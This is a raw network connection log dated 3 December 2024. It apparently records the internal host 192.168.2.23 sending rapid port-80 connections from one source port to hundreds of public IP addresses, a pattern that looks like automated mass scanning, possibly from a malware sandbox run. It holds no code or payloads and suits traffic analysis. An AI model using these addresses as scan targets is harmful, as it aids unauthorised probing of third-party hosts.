Dec 3, 2024 23:01:52.043771982 CET	51932	80	192.168.2.23	64.182.50.28
Dec 3, 2024 23:01:52.043775082 CET	80	39438	68.184.62.249	192.168.2.23
Dec 3, 2024 23:01:52.043780088 CET	35854	80	192.168.2.23	81.114.132.64
Dec 3, 2024 23:01:52.043783903 CET	80	43232	164.63.62.180	192.168.2.23
Dec 3, 2024 23:01:52.043795109 CET	59862	80	192.168.2.23	111.235.227.103
Dec 3, 2024 23:01:52.043797016 CET	37200	80	192.168.2.23	198.53.211.167
Dec 3, 2024 23:01:52.043800116 CET	42460	80	192.168.2.23	146.63.138.246
Dec 3, 2024 23:01:52.043802023 CET	80	53688	50.151.21.8	192.168.2.23
Dec 3, 2024 23:01:52.043812037 CET	80	59156	82.120.56.10	192.168.2.23
Dec 3, 2024 23:01:52.043821096 CET	80	60278	123.52.192.123	192.168.2.23
Dec 3, 2024 23:01:52.043822050 CET	39438	80	192.168.2.23	68.184.62.249
Dec 3, 2024 23:01:52.043828964 CET	43232	80	192.168.2.23	164.63.62.180
Dec 3, 2024 23:01:52.043832064 CET	80	59542	205.244.238.92	192.168.2.23
Dec 3, 2024 23:01:52.043837070 CET	53688	80	192.168.2.23	50.151.21.8
Dec 3, 2024 23:01:52.043852091 CET	59156	80	192.168.2.23	82.120.56.10
Dec 3, 2024 23:01:52.043859005 CET	60278	80	192.168.2.23	123.52.192.123
Dec 3, 2024 23:01:52.043868065 CET	59542	80	192.168.2.23	205.244.238.92
Dec 3, 2024 23:01:52.043915987 CET	55394	80	192.168.2.23	151.59.53.207
Dec 3, 2024 23:01:52.043952942 CET	60046	80	192.168.2.23	72.147.255.206
Dec 3, 2024 23:01:52.043956995 CET	60046	80	192.168.2.23	117.50.49.125
Dec 3, 2024 23:01:52.043973923 CET	60046	80	192.168.2.23	158.79.170.58
Dec 3, 2024 23:01:52.043982983 CET	60046	80	192.168.2.23	203.176.98.178
Dec 3, 2024 23:01:52.043982983 CET	60046	80	192.168.2.23	142.9.116.232
Dec 3, 2024 23:01:52.043983936 CET	60046	80	192.168.2.23	68.152.141.251
Dec 3, 2024 23:01:52.043984890 CET	60046	80	192.168.2.23	164.21.186.72
Dec 3, 2024 23:01:52.043986082 CET	60046	80	192.168.2.23	126.94.150.122
Dec 3, 2024 23:01:52.043993950 CET	60046	80	192.168.2.23	126.120.209.119
Dec 3, 2024 23:01:52.043993950 CET	60046	80	192.168.2.23	172.64.163.200
Dec 3, 2024 23:01:52.044033051 CET	60046	80	192.168.2.23	144.147.255.221
Dec 3, 2024 23:01:52.044034004 CET	60046	80	192.168.2.23	174.235.23.93
Dec 3, 2024 23:01:52.044034004 CET	60046	80	192.168.2.23	220.140.125.121
Dec 3, 2024 23:01:52.044034958 CET	60046	80	192.168.2.23	58.137.49.32
Dec 3, 2024 23:01:52.044037104 CET	60046	80	192.168.2.23	141.145.232.229
Dec 3, 2024 23:01:52.044049025 CET	60046	80	192.168.2.23	84.167.17.14
Dec 3, 2024 23:01:52.044054985 CET	60046	80	192.168.2.23	219.81.41.173
Dec 3, 2024 23:01:52.044056892 CET	60046	80	192.168.2.23	91.73.163.92
Dec 3, 2024 23:01:52.044056892 CET	60046	80	192.168.2.23	140.3.1.82
Dec 3, 2024 23:01:52.044058084 CET	60046	80	192.168.2.23	25.167.5.214
Dec 3, 2024 23:01:52.044058084 CET	60046	80	192.168.2.23	9.72.4.202
Dec 3, 2024 23:01:52.044058084 CET	60046	80	192.168.2.23	47.176.225.44
Dec 3, 2024 23:01:52.044073105 CET	60046	80	192.168.2.23	99.193.205.157
Dec 3, 2024 23:01:52.044096947 CET	60046	80	192.168.2.23	17.62.70.41
Dec 3, 2024 23:01:52.044096947 CET	60046	80	192.168.2.23	130.66.208.122
Dec 3, 2024 23:01:52.044097900 CET	60046	80	192.168.2.23	203.15.241.41
Dec 3, 2024 23:01:52.044097900 CET	60046	80	192.168.2.23	25.56.222.116
Dec 3, 2024 23:01:52.044099092 CET	60046	80	192.168.2.23	119.30.242.32
Dec 3, 2024 23:01:52.044097900 CET	60046	80	192.168.2.23	78.207.50.26
Dec 3, 2024 23:01:52.044096947 CET	60046	80	192.168.2.23	45.182.216.111
Dec 3, 2024 23:01:52.044101954 CET	60046	80	192.168.2.23	123.117.169.237
Dec 3, 2024 23:01:52.044097900 CET	60046	80	192.168.2.23	146.95.66.109
Dec 3, 2024 23:01:52.044101954 CET	60046	80	192.168.2.23	203.137.66.102
Dec 3, 2024 23:01:52.044096947 CET	60046	80	192.168.2.23	199.68.74.155
Dec 3, 2024 23:01:52.044102907 CET	60046	80	192.168.2.23	41.1.84.254
Dec 3, 2024 23:01:52.044101954 CET	60046	80	192.168.2.23	1.78.249.94
Dec 3, 2024 23:01:52.044096947 CET	60046	80	192.168.2.23	219.142.67.11
Dec 3, 2024 23:01:52.044102907 CET	60046	80	192.168.2.23	175.171.56.168
Dec 3, 2024 23:01:52.044101954 CET	60046	80	192.168.2.23	60.48.39.139
Dec 3, 2024 23:01:52.044102907 CET	60046	80	192.168.2.23	77.153.49.77
Dec 3, 2024 23:01:52.044099092 CET	60046	80	192.168.2.23	1.151.225.56
Dec 3, 2024 23:01:52.044099092 CET	60046	80	192.168.2.23	57.185.237.136
Dec 3, 2024 23:01:52.044116974 CET	60046	80	192.168.2.23	125.196.90.48
Dec 3, 2024 23:01:52.044116974 CET	60046	80	192.168.2.23	155.116.227.96
Dec 3, 2024 23:01:52.044123888 CET	60046	80	192.168.2.23	13.238.84.167
Dec 3, 2024 23:01:52.044123888 CET	60046	80	192.168.2.23	186.62.229.44
Dec 3, 2024 23:01:52.044123888 CET	60046	80	192.168.2.23	172.173.136.36
Dec 3, 2024 23:01:52.044123888 CET	60046	80	192.168.2.23	2.142.73.132
Dec 3, 2024 23:01:52.044123888 CET	60046	80	192.168.2.23	64.5.184.132
Dec 3, 2024 23:01:52.044123888 CET	60046	80	192.168.2.23	158.229.52.187
Dec 3, 2024 23:01:52.044126987 CET	60046	80	192.168.2.23	45.204.100.145
Dec 3, 2024 23:01:52.044126987 CET	60046	80	192.168.2.23	60.237.175.33
Dec 3, 2024 23:01:52.044126987 CET	60046	80	192.168.2.23	48.44.89.163
Dec 3, 2024 23:01:52.044126987 CET	60046	80	192.168.2.23	115.173.4.196
Dec 3, 2024 23:01:52.044128895 CET	60046	80	192.168.2.23	192.58.185.84
Dec 3, 2024 23:01:52.044126987 CET	60046	80	192.168.2.23	208.178.180.30
Dec 3, 2024 23:01:52.044128895 CET	60046	80	192.168.2.23	82.219.87.107
Dec 3, 2024 23:01:52.044126987 CET	60046	80	192.168.2.23	174.118.56.101
Dec 3, 2024 23:01:52.044126987 CET	60046	80	192.168.2.23	68.108.67.245
Dec 3, 2024 23:01:52.044141054 CET	60046	80	192.168.2.23	64.52.50.40
Dec 3, 2024 23:01:52.044142962 CET	60046	80	192.168.2.23	119.52.10.169
Dec 3, 2024 23:01:52.044142962 CET	60046	80	192.168.2.23	13.159.243.210
Dec 3, 2024 23:01:52.044147968 CET	60046	80	192.168.2.23	121.146.174.7
Dec 3, 2024 23:01:52.044147968 CET	60046	80	192.168.2.23	90.206.192.37
Dec 3, 2024 23:01:52.044147968 CET	60046	80	192.168.2.23	133.1.45.253
Dec 3, 2024 23:01:52.044147968 CET	60046	80	192.168.2.23	65.211.57.62
Dec 3, 2024 23:01:52.044147968 CET	60046	80	192.168.2.23	83.30.182.185
Dec 3, 2024 23:01:52.044151068 CET	60046	80	192.168.2.23	164.68.164.17
Dec 3, 2024 23:01:52.044152021 CET	60046	80	192.168.2.23	73.85.185.218
Dec 3, 2024 23:01:52.044152021 CET	60046	80	192.168.2.23	146.200.97.45
Dec 3, 2024 23:01:52.044154882 CET	60046	80	192.168.2.23	65.4.76.73
Dec 3, 2024 23:01:52.044154882 CET	60046	80	192.168.2.23	139.36.212.54
Dec 3, 2024 23:01:52.044157028 CET	60046	80	192.168.2.23	27.97.193.147
Dec 3, 2024 23:01:52.044168949 CET	60046	80	192.168.2.23	79.118.49.30
Dec 3, 2024 23:01:52.044168949 CET	60046	80	192.168.2.23	91.207.210.141
Dec 3, 2024 23:01:52.044169903 CET	60046	80	192.168.2.23	211.79.22.129
Dec 3, 2024 23:01:52.044169903 CET	60046	80	192.168.2.23	159.132.37.230
Dec 3, 2024 23:01:52.044173002 CET	60046	80	192.168.2.23	82.127.248.26
Dec 3, 2024 23:01:52.044173002 CET	60046	80	192.168.2.23	130.113.149.223
Dec 3, 2024 23:01:52.044173002 CET	60046	80	192.168.2.23	115.156.171.184
Dec 3, 2024 23:01:52.044174910 CET	60046	80	192.168.2.23	141.213.223.127
Dec 3, 2024 23:01:52.044195890 CET	60046	80	192.168.2.23	185.112.29.82
Dec 3, 2024 23:01:52.044198036 CET	60046	80	192.168.2.23	14.136.166.233
Dec 3, 2024 23:01:52.044198990 CET	60046	80	192.168.2.23	177.234.138.252
Dec 3, 2024 23:01:52.044198990 CET	60046	80	192.168.2.23	49.142.78.87
Dec 3, 2024 23:01:52.044199944 CET	60046	80	192.168.2.23	183.39.207.73
Dec 3, 2024 23:01:52.044199944 CET	60046	80	192.168.2.23	220.219.196.133
Dec 3, 2024 23:01:52.044199944 CET	60046	80	192.168.2.23	132.232.60.221
Dec 3, 2024 23:01:52.044199944 CET	60046	80	192.168.2.23	159.10.96.124
Dec 3, 2024 23:01:52.044200897 CET	60046	80	192.168.2.23	115.25.25.19
Dec 3, 2024 23:01:52.044200897 CET	60046	80	192.168.2.23	103.184.205.198
Dec 3, 2024 23:01:52.044202089 CET	60046	80	192.168.2.23	1.106.123.49
Dec 3, 2024 23:01:52.044203043 CET	60046	80	192.168.2.23	203.245.153.22
Dec 3, 2024 23:01:52.044203043 CET	60046	80	192.168.2.23	125.47.151.180
Dec 3, 2024 23:01:52.044207096 CET	60046	80	192.168.2.23	159.219.85.133
Dec 3, 2024 23:01:52.044214010 CET	60046	80	192.168.2.23	89.164.164.38
Dec 3, 2024 23:01:52.044214010 CET	60046	80	192.168.2.23	80.50.81.19
Dec 3, 2024 23:01:52.044214964 CET	60046	80	192.168.2.23	66.170.17.47
Dec 3, 2024 23:01:52.044215918 CET	60046	80	192.168.2.23	188.21.158.244
Dec 3, 2024 23:01:52.044217110 CET	60046	80	192.168.2.23	97.22.116.216
Dec 3, 2024 23:01:52.044217110 CET	60046	80	192.168.2.23	203.37.215.78
Dec 3, 2024 23:01:52.044217110 CET	60046	80	192.168.2.23	122.122.97.193
Dec 3, 2024 23:01:52.044217110 CET	60046	80	192.168.2.23	135.175.143.158
Dec 3, 2024 23:01:52.044220924 CET	60046	80	192.168.2.23	86.138.51.63
Dec 3, 2024 23:01:52.044220924 CET	60046	80	192.168.2.23	176.0.254.150
Dec 3, 2024 23:01:52.044220924 CET	60046	80	192.168.2.23	130.169.118.98
Dec 3, 2024 23:01:52.044217110 CET	60046	80	192.168.2.23	53.169.151.76
Dec 3, 2024 23:01:52.044224024 CET	60046	80	192.168.2.23	97.203.9.143
Dec 3, 2024 23:01:52.044224024 CET	60046	80	192.168.2.23	172.102.67.226
Dec 3, 2024 23:01:52.044217110 CET	60046	80	192.168.2.23	114.128.91.9
Dec 3, 2024 23:01:52.044224977 CET	60046	80	192.168.2.23	221.231.70.16
Dec 3, 2024 23:01:52.044228077 CET	60046	80	192.168.2.23	171.123.68.41
Dec 3, 2024 23:01:52.044223070 CET	60046	80	192.168.2.23	124.57.191.44
Dec 3, 2024 23:01:52.044217110 CET	60046	80	192.168.2.23	156.215.60.141
Dec 3, 2024 23:01:52.044220924 CET	60046	80	192.168.2.23	64.10.61.143
Dec 3, 2024 23:01:52.044217110 CET	60046	80	192.168.2.23	177.226.68.92
Dec 3, 2024 23:01:52.044224977 CET	60046	80	192.168.2.23	168.19.123.19
Dec 3, 2024 23:01:52.044224977 CET	60046	80	192.168.2.23	35.39.251.129
Dec 3, 2024 23:01:52.044224977 CET	60046	80	192.168.2.23	183.124.94.90
Dec 3, 2024 23:01:52.044224977 CET	60046	80	192.168.2.23	13.168.124.53
Dec 3, 2024 23:01:52.044224977 CET	60046	80	192.168.2.23	201.154.174.240
Dec 3, 2024 23:01:52.044224977 CET	60046	80	192.168.2.23	207.40.143.153
Dec 3, 2024 23:01:52.044228077 CET	60046	80	192.168.2.23	92.217.42.159
Dec 3, 2024 23:01:52.044228077 CET	60046	80	192.168.2.23	53.230.161.244
Dec 3, 2024 23:01:52.044234991 CET	60046	80	192.168.2.23	101.104.76.14
Dec 3, 2024 23:01:52.044238091 CET	60046	80	192.168.2.23	217.170.225.66
Dec 3, 2024 23:01:52.044238091 CET	60046	80	192.168.2.23	93.57.86.200
Dec 3, 2024 23:01:52.044243097 CET	60046	80	192.168.2.23	90.155.90.62
Dec 3, 2024 23:01:52.044243097 CET	60046	80	192.168.2.23	39.105.112.65
Dec 3, 2024 23:01:52.044243097 CET	60046	80	192.168.2.23	131.77.28.254
Dec 3, 2024 23:01:52.044245005 CET	60046	80	192.168.2.23	145.217.192.93
Dec 3, 2024 23:01:52.044248104 CET	60046	80	192.168.2.23	45.185.170.35
Dec 3, 2024 23:01:52.044248104 CET	60046	80	192.168.2.23	110.194.128.164
Dec 3, 2024 23:01:52.044249058 CET	60046	80	192.168.2.23	103.98.188.135
Dec 3, 2024 23:01:52.044248104 CET	60046	80	192.168.2.23	135.157.145.245
Dec 3, 2024 23:01:52.044248104 CET	60046	80	192.168.2.23	199.63.6.87
Dec 3, 2024 23:01:52.044248104 CET	60046	80	192.168.2.23	140.85.36.47
Dec 3, 2024 23:01:52.044248104 CET	60046	80	192.168.2.23	88.193.237.43
Dec 3, 2024 23:01:52.044248104 CET	60046	80	192.168.2.23	180.46.154.202
Dec 3, 2024 23:01:52.044249058 CET	60046	80	192.168.2.23	167.18.228.48
Dec 3, 2024 23:01:52.044249058 CET	60046	80	192.168.2.23	46.82.53.209
Dec 3, 2024 23:01:52.044249058 CET	60046	80	192.168.2.23	123.82.193.122
Dec 3, 2024 23:01:52.044249058 CET	60046	80	192.168.2.23	66.83.246.195
Dec 3, 2024 23:01:52.044249058 CET	60046	80	192.168.2.23	79.83.173.160
Dec 3, 2024 23:01:52.044249058 CET	60046	80	192.168.2.23	152.45.117.8
Dec 3, 2024 23:01:52.044249058 CET	60046	80	192.168.2.23	90.93.206.90
Dec 3, 2024 23:01:52.044262886 CET	60046	80	192.168.2.23	78.93.209.121
Dec 3, 2024 23:01:52.044270039 CET	60046	80	192.168.2.23	126.129.171.176
Dec 3, 2024 23:01:52.044270039 CET	60046	80	192.168.2.23	88.160.196.187
Dec 3, 2024 23:01:52.044275045 CET	60046	80	192.168.2.23	61.251.245.225
Dec 3, 2024 23:01:52.044275045 CET	60046	80	192.168.2.23	63.133.107.121
Dec 3, 2024 23:01:52.044276953 CET	60046	80	192.168.2.23	65.89.48.178
Dec 3, 2024 23:01:52.044277906 CET	60046	80	192.168.2.23	223.214.29.204
Dec 3, 2024 23:01:52.044281006 CET	60046	80	192.168.2.23	154.214.65.21
Dec 3, 2024 23:01:52.044281006 CET	60046	80	192.168.2.23	157.29.200.151
Dec 3, 2024 23:01:52.044286966 CET	60046	80	192.168.2.23	98.44.142.200
Dec 3, 2024 23:01:52.044298887 CET	60046	80	192.168.2.23	156.139.189.212
Dec 3, 2024 23:01:52.044301033 CET	60046	80	192.168.2.23	54.97.173.243
Dec 3, 2024 23:01:52.044301987 CET	60046	80	192.168.2.23	211.205.159.186
Dec 3, 2024 23:01:52.044312954 CET	60046	80	192.168.2.23	150.94.111.236
Dec 3, 2024 23:01:52.044322014 CET	60046	80	192.168.2.23	197.77.222.24
Dec 3, 2024 23:01:52.044322014 CET	60046	80	192.168.2.23	61.71.60.96
Dec 3, 2024 23:01:52.044325113 CET	60046	80	192.168.2.23	118.77.221.245
Dec 3, 2024 23:01:52.044327021 CET	60046	80	192.168.2.23	124.70.58.164
Dec 3, 2024 23:01:52.044336081 CET	60046	80	192.168.2.23	69.87.111.220
Dec 3, 2024 23:01:52.044339895 CET	60046	80	192.168.2.23	23.52.199.89
Dec 3, 2024 23:01:52.044344902 CET	60046	80	192.168.2.23	204.12.81.232
Dec 3, 2024 23:01:52.044365883 CET	60046	80	192.168.2.23	67.169.232.173
Dec 3, 2024 23:01:52.044368029 CET	60046	80	192.168.2.23	114.17.181.20
Dec 3, 2024 23:01:52.044368029 CET	60046	80	192.168.2.23	23.18.83.47
Dec 3, 2024 23:01:52.044368029 CET	60046	80	192.168.2.23	121.186.84.206
Dec 3, 2024 23:01:52.044368982 CET	60046	80	192.168.2.23	164.37.145.23
Dec 3, 2024 23:01:52.044375896 CET	60046	80	192.168.2.23	133.199.176.105
Dec 3, 2024 23:01:52.044375896 CET	60046	80	192.168.2.23	18.97.187.165
Dec 3, 2024 23:01:52.044378996 CET	60046	80	192.168.2.23	39.51.13.142
Dec 3, 2024 23:01:52.044379950 CET	60046	80	192.168.2.23	103.112.214.39
Dec 3, 2024 23:01:52.044380903 CET	60046	80	192.168.2.23	172.164.113.101
Dec 3, 2024 23:01:52.044382095 CET	60046	80	192.168.2.23	74.85.119.245
Dec 3, 2024 23:01:52.044382095 CET	60046	80	192.168.2.23	65.104.231.226
Dec 3, 2024 23:01:52.044380903 CET	60046	80	192.168.2.23	86.54.60.170
Dec 3, 2024 23:01:52.044380903 CET	60046	80	192.168.2.23	132.192.161.3
Dec 3, 2024 23:01:52.044380903 CET	60046	80	192.168.2.23	82.33.247.10
Dec 3, 2024 23:01:52.044380903 CET	60046	80	192.168.2.23	5.207.105.21
Dec 3, 2024 23:01:52.044385910 CET	60046	80	192.168.2.23	17.243.140.93
Dec 3, 2024 23:01:52.044389963 CET	60046	80	192.168.2.23	90.189.243.79
Dec 3, 2024 23:01:52.044399023 CET	60046	80	192.168.2.23	221.118.205.186
Dec 3, 2024 23:01:52.044398069 CET	60046	80	192.168.2.23	12.2.119.134
Dec 3, 2024 23:01:52.044398069 CET	60046	80	192.168.2.23	179.222.38.189
Dec 3, 2024 23:01:52.044398069 CET	60046	80	192.168.2.23	180.150.25.197
Dec 3, 2024 23:01:52.044401884 CET	60046	80	192.168.2.23	179.63.45.231
Dec 3, 2024 23:01:52.044401884 CET	60046	80	192.168.2.23	84.15.200.11
Dec 3, 2024 23:01:52.044408083 CET	60046	80	192.168.2.23	111.154.2.151
Dec 3, 2024 23:01:52.044409037 CET	60046	80	192.168.2.23	129.109.94.92
Dec 3, 2024 23:01:52.044409037 CET	60046	80	192.168.2.23	67.129.109.216
Dec 3, 2024 23:01:52.044410944 CET	60046	80	192.168.2.23	2.126.100.12
Dec 3, 2024 23:01:52.044410944 CET	60046	80	192.168.2.23	44.144.75.184
Dec 3, 2024 23:01:52.044410944 CET	60046	80	192.168.2.23	24.143.21.170
Dec 3, 2024 23:01:52.044418097 CET	60046	80	192.168.2.23	80.205.121.72
Dec 3, 2024 23:01:52.044420004 CET	60046	80	192.168.2.23	195.171.60.175
Dec 3, 2024 23:01:52.044423103 CET	60046	80	192.168.2.23	13.89.111.92
Dec 3, 2024 23:01:52.044425011 CET	60046	80	192.168.2.23	175.118.252.92
Dec 3, 2024 23:01:52.044440031 CET	60046	80	192.168.2.23	141.143.158.126
Dec 3, 2024 23:01:52.044440031 CET	60046	80	192.168.2.23	145.150.26.235
Dec 3, 2024 23:01:52.044447899 CET	60046	80	192.168.2.23	206.143.88.193
Dec 3, 2024 23:01:52.044456005 CET	60046	80	192.168.2.23	31.187.202.204
Dec 3, 2024 23:01:52.044456005 CET	60046	80	192.168.2.23	131.198.8.6
Dec 3, 2024 23:01:52.044460058 CET	60046	80	192.168.2.23	146.171.92.180
Dec 3, 2024 23:01:52.044460058 CET	60046	80	192.168.2.23	206.48.174.175
Dec 3, 2024 23:01:52.044461966 CET	60046	80	192.168.2.23	27.106.65.108
Dec 3, 2024 23:01:52.044471025 CET	60046	80	192.168.2.23	65.35.103.203
Dec 3, 2024 23:01:52.044486046 CET	60046	80	192.168.2.23	20.206.81.124
Dec 3, 2024 23:01:52.044487000 CET	60046	80	192.168.2.23	205.225.14.19
Dec 3, 2024 23:01:52.044487000 CET	60046	80	192.168.2.23	147.223.196.126
Dec 3, 2024 23:01:52.044486046 CET	60046	80	192.168.2.23	25.148.151.100
Dec 3, 2024 23:01:52.044486046 CET	60046	80	192.168.2.23	157.232.46.63
Dec 3, 2024 23:01:52.044493914 CET	60046	80	192.168.2.23	170.138.190.166
Dec 3, 2024 23:01:52.044495106 CET	60046	80	192.168.2.23	144.82.215.94
Dec 3, 2024 23:01:52.044497013 CET	60046	80	192.168.2.23	195.68.237.94
Dec 3, 2024 23:01:52.044497967 CET	60046	80	192.168.2.23	165.218.46.5
Dec 3, 2024 23:01:52.044512033 CET	60046	80	192.168.2.23	68.47.173.100
Dec 3, 2024 23:01:52.044512987 CET	60046	80	192.168.2.23	140.209.163.41
Dec 3, 2024 23:01:52.044518948 CET	60046	80	192.168.2.23	134.55.20.24
Dec 3, 2024 23:01:52.044518948 CET	60046	80	192.168.2.23	201.63.64.25
Dec 3, 2024 23:01:52.044519901 CET	60046	80	192.168.2.23	41.198.32.235
Dec 3, 2024 23:01:52.044533014 CET	60046	80	192.168.2.23	118.219.244.237
Dec 3, 2024 23:01:52.044538975 CET	60046	80	192.168.2.23	130.150.210.228
Dec 3, 2024 23:01:52.044538975 CET	60046	80	192.168.2.23	173.171.49.195
Dec 3, 2024 23:01:52.044547081 CET	60046	80	192.168.2.23	63.237.223.208
Dec 3, 2024 23:01:52.044547081 CET	60046	80	192.168.2.23	66.33.119.139
Dec 3, 2024 23:01:52.044554949 CET	60046	80	192.168.2.23	145.189.235.37
Dec 3, 2024 23:01:52.044563055 CET	60046	80	192.168.2.23	67.67.68.199
Dec 3, 2024 23:01:52.044563055 CET	60046	80	192.168.2.23	179.8.55.143
Dec 3, 2024 23:01:52.044578075 CET	60046	80	192.168.2.23	1.171.54.125
Dec 3, 2024 23:01:52.044579029 CET	60046	80	192.168.2.23	211.228.170.252
Dec 3, 2024 23:01:52.044579029 CET	60046	80	192.168.2.23	54.175.156.193
Dec 3, 2024 23:01:52.044580936 CET	60046	80	192.168.2.23	23.45.27.217
Dec 3, 2024 23:01:52.044583082 CET	60046	80	192.168.2.23	41.16.39.39
Dec 3, 2024 23:01:52.044584990 CET	60046	80	192.168.2.23	110.43.91.152
Dec 3, 2024 23:01:52.044603109 CET	60046	80	192.168.2.23	134.41.48.7
Dec 3, 2024 23:01:52.044604063 CET	60046	80	192.168.2.23	171.189.225.26
Dec 3, 2024 23:01:52.044609070 CET	60046	80	192.168.2.23	166.112.45.215
Dec 3, 2024 23:01:52.044612885 CET	60046	80	192.168.2.23	220.26.235.111
Dec 3, 2024 23:01:52.044616938 CET	60046	80	192.168.2.23	48.36.164.81
Dec 3, 2024 23:01:52.044621944 CET	60046	80	192.168.2.23	13.144.158.224
Dec 3, 2024 23:01:52.044622898 CET	60046	80	192.168.2.23	141.80.115.12
Dec 3, 2024 23:01:52.044624090 CET	60046	80	192.168.2.23	91.119.186.152
Dec 3, 2024 23:01:52.044625044 CET	60046	80	192.168.2.23	67.224.63.249
Dec 3, 2024 23:01:52.044636011 CET	60046	80	192.168.2.23	86.44.29.36
Dec 3, 2024 23:01:52.044645071 CET	60046	80	192.168.2.23	150.9.231.255
Dec 3, 2024 23:01:52.044645071 CET	60046	80	192.168.2.23	192.255.156.249
Dec 3, 2024 23:01:52.044647932 CET	60046	80	192.168.2.23	183.63.168.43
Dec 3, 2024 23:01:52.044651031 CET	60046	80	192.168.2.23	67.141.220.214
Dec 3, 2024 23:01:52.044667006 CET	60046	80	192.168.2.23	189.20.220.44
Dec 3, 2024 23:01:52.044667959 CET	60046	80	192.168.2.23	116.183.90.184
Dec 3, 2024 23:01:52.044670105 CET	60046	80	192.168.2.23	176.66.187.114
Dec 3, 2024 23:01:52.044684887 CET	60046	80	192.168.2.23	193.219.103.25
Dec 3, 2024 23:01:52.044687033 CET	60046	80	192.168.2.23	9.115.86.57
Dec 3, 2024 23:01:52.044687033 CET	60046	80	192.168.2.23	177.134.155.27
Dec 3, 2024 23:01:52.044687986 CET	60046	80	192.168.2.23	182.7.184.97
Dec 3, 2024 23:01:52.044687986 CET	60046	80	192.168.2.23	172.173.249.1
Dec 3, 2024 23:01:52.044687986 CET	60046	80	192.168.2.23	176.209.207.92
Dec 3, 2024 23:01:52.044689894 CET	60046	80	192.168.2.23	4.82.105.50
Dec 3, 2024 23:01:52.044693947 CET	60046	80	192.168.2.23	131.108.159.207
Dec 3, 2024 23:01:52.044694901 CET	60046	80	192.168.2.23	205.236.82.187
Dec 3, 2024 23:01:52.044701099 CET	60046	80	192.168.2.23	200.226.87.22
Dec 3, 2024 23:01:52.044703960 CET	60046	80	192.168.2.23	79.137.205.156
Dec 3, 2024 23:01:52.044711113 CET	60046	80	192.168.2.23	102.172.23.212
Dec 3, 2024 23:01:52.044718027 CET	60046	80	192.168.2.23	61.187.212.61
Dec 3, 2024 23:01:52.044718981 CET	60046	80	192.168.2.23	67.97.180.211
Dec 3, 2024 23:01:52.044718981 CET	60046	80	192.168.2.23	12.75.240.152
Dec 3, 2024 23:01:52.044723988 CET	60046	80	192.168.2.23	40.154.112.54
Dec 3, 2024 23:01:52.044739008 CET	60046	80	192.168.2.23	50.151.78.164
Dec 3, 2024 23:01:52.044739962 CET	60046	80	192.168.2.23	161.122.243.133
Dec 3, 2024 23:01:52.044742107 CET	60046	80	192.168.2.23	167.125.158.67
Dec 3, 2024 23:01:52.044745922 CET	60046	80	192.168.2.23	189.13.95.26
Dec 3, 2024 23:01:52.044758081 CET	60046	80	192.168.2.23	2.142.21.67
Dec 3, 2024 23:01:52.044761896 CET	60046	80	192.168.2.23	123.33.12.211
Dec 3, 2024 23:01:52.044764042 CET	60046	80	192.168.2.23	210.250.215.231
Dec 3, 2024 23:01:52.044779062 CET	60046	80	192.168.2.23	129.200.165.222
Dec 3, 2024 23:01:52.044779062 CET	60046	80	192.168.2.23	67.200.67.102
Dec 3, 2024 23:01:52.044779062 CET	60046	80	192.168.2.23	20.11.115.123
Dec 3, 2024 23:01:52.044783115 CET	60046	80	192.168.2.23	161.152.218.232
Dec 3, 2024 23:01:52.044785976 CET	60046	80	192.168.2.23	144.67.51.145
Dec 3, 2024 23:01:52.044790983 CET	60046	80	192.168.2.23	178.204.224.39
Dec 3, 2024 23:01:52.044804096 CET	60046	80	192.168.2.23	222.118.149.139
Dec 3, 2024 23:01:52.044807911 CET	60046	80	192.168.2.23	91.232.248.128
Dec 3, 2024 23:01:52.044810057 CET	60046	80	192.168.2.23	24.16.120.140
Dec 3, 2024 23:01:52.044812918 CET	60046	80	192.168.2.23	70.4.142.73
Dec 3, 2024 23:01:52.044812918 CET	60046	80	192.168.2.23	96.21.253.164
Dec 3, 2024 23:01:52.044815063 CET	60046	80	192.168.2.23	97.68.91.32
Dec 3, 2024 23:01:52.044815063 CET	60046	80	192.168.2.23	110.226.101.159
Dec 3, 2024 23:01:52.044815063 CET	60046	80	192.168.2.23	61.42.30.116
Dec 3, 2024 23:01:52.044817924 CET	60046	80	192.168.2.23	154.52.194.1
Dec 3, 2024 23:01:52.044831991 CET	60046	80	192.168.2.23	77.120.87.69
Dec 3, 2024 23:01:52.044836998 CET	60046	80	192.168.2.23	110.44.167.148
Dec 3, 2024 23:01:52.044836998 CET	60046	80	192.168.2.23	24.216.21.194
Dec 3, 2024 23:01:52.044838905 CET	60046	80	192.168.2.23	197.187.129.102
Dec 3, 2024 23:01:52.044851065 CET	60046	80	192.168.2.23	79.49.218.56
Dec 3, 2024 23:01:52.044852972 CET	60046	80	192.168.2.23	162.131.232.78
Dec 3, 2024 23:01:52.044855118 CET	60046	80	192.168.2.23	107.51.145.74
Dec 3, 2024 23:01:52.044855118 CET	60046	80	192.168.2.23	223.109.119.1
Dec 3, 2024 23:01:52.044866085 CET	60046	80	192.168.2.23	65.171.89.145
Dec 3, 2024 23:01:52.044866085 CET	60046	80	192.168.2.23	181.209.41.201
Dec 3, 2024 23:01:52.044873953 CET	60046	80	192.168.2.23	148.163.50.65
Dec 3, 2024 23:01:52.044888020 CET	60046	80	192.168.2.23	69.68.123.10
Dec 3, 2024 23:01:52.044889927 CET	60046	80	192.168.2.23	132.168.154.138
Dec 3, 2024 23:01:52.044892073 CET	60046	80	192.168.2.23	58.18.48.60
Dec 3, 2024 23:01:52.044893026 CET	60046	80	192.168.2.23	211.79.38.231
Dec 3, 2024 23:01:52.044893980 CET	60046	80	192.168.2.23	187.85.126.10
Dec 3, 2024 23:01:52.044893980 CET	60046	80	192.168.2.23	80.221.73.76
Dec 3, 2024 23:01:52.044908047 CET	60046	80	192.168.2.23	63.149.139.108
Dec 3, 2024 23:01:52.044908047 CET	60046	80	192.168.2.23	121.18.104.5
Dec 3, 2024 23:01:52.044922113 CET	60046	80	192.168.2.23	217.145.33.234
Dec 3, 2024 23:01:52.044924974 CET	60046	80	192.168.2.23	111.143.202.125
Dec 3, 2024 23:01:52.044925928 CET	60046	80	192.168.2.23	189.72.205.200
Dec 3, 2024 23:01:52.044928074 CET	60046	80	192.168.2.23	90.244.165.138
Dec 3, 2024 23:01:52.044933081 CET	60046	80	192.168.2.23	19.122.3.97
Dec 3, 2024 23:01:52.044948101 CET	60046	80	192.168.2.23	80.193.175.255
Dec 3, 2024 23:01:52.044948101 CET	60046	80	192.168.2.23	211.196.30.12
Dec 3, 2024 23:01:52.044951916 CET	60046	80	192.168.2.23	68.143.204.204
Dec 3, 2024 23:01:52.044980049 CET	48142	80	192.168.2.23	152.212.240.188
Dec 3, 2024 23:01:52.044987917 CET	50164	80	192.168.2.23	102.137.240.134
